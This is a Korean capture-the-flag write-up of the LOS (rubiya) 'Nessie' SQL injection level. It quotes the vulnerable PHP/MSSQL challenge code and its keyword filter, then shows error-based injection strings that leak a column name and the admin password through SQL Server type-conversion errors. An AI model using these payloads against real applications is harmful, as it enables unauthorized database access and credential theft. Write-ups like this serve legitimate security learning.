WriteUp/LOS_rubiya

LOS -rubiya : Nessie

vared 2020. 5. 15. 00:03

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

처음보는게 많다. 일단 코드부터 보자.

master / sys / information / prob / waitfor / _  필터링 되고 있다.

sqlsrv ??? 이게 처음보는 거다.

ms-sql 이네. 에러가 생기면 error 문을 보여준다.


<해설>

error base sql injection 으로 해결하면 좋지않을까 생각이 들었다.

역시 맞다.

?id=admin' and (select (Len(pw)>0) union select 1) --

이제 에러를 어떻게 유발해줄지를 고민해봐야 하는데

?id=a' having 1=1 --

이렇게 입력을 해주게 된다면,

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_nessie.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

이런 에러 메시지를 준다. 여기서 prob_nessie.id 라는 id 컬럼이 유출된 것을 있다.

 

이제 pw 찾아보도록 하자.

?id=admin&pw=1' or id='admin' and pw=1 --

이렇게 주게 되면, 질의하는 과정에서 , pw =1 (varchar 아님) 이기 때문에, 오류가 생기게 된다.

과정에서 원래 pw 값을 convert 하는 과정이 생기게 되고, error 메시지에 그값을 보여주는 것이다.

자료형을 이용해서 에러 메시지에 원하는 값을 띄워줄 있다.

 

 

uawe0f9ji34fjkl

 

 

Clear!